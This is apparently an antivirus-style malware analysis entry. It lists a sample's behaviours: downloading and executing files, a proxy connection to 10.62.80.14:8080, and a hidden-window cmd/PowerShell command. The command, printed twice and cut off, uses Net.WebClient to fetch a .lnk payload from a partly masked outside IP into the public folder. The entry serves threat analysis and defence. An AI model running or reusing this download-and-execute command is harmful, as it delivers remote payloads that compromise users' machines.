Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /V:ON/C powershell $A=new-object Net.WebClient;$P=new-object Net.WebProxy('10.62.80.14:8080',$true);$A.Proxy=$P;$B='http://16#.#2.163.181/calc.lnk';$D=$env:public+'\2.lnk';$A.DownloadFile($B, $...
Network activity
Connects to
- '10.#2.80.14':8080
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /V:ON/C powershell $A=new-object Net.WebClient;$P=new-object Net.WebProxy('10.62.80.14:8080',$true);$A.Proxy=$P;$B='http://16#.#2.163.181/calc.lnk';$D=$env:public+'\2.lnk';$A.DownloadFile($B, $...' (with hidden window)
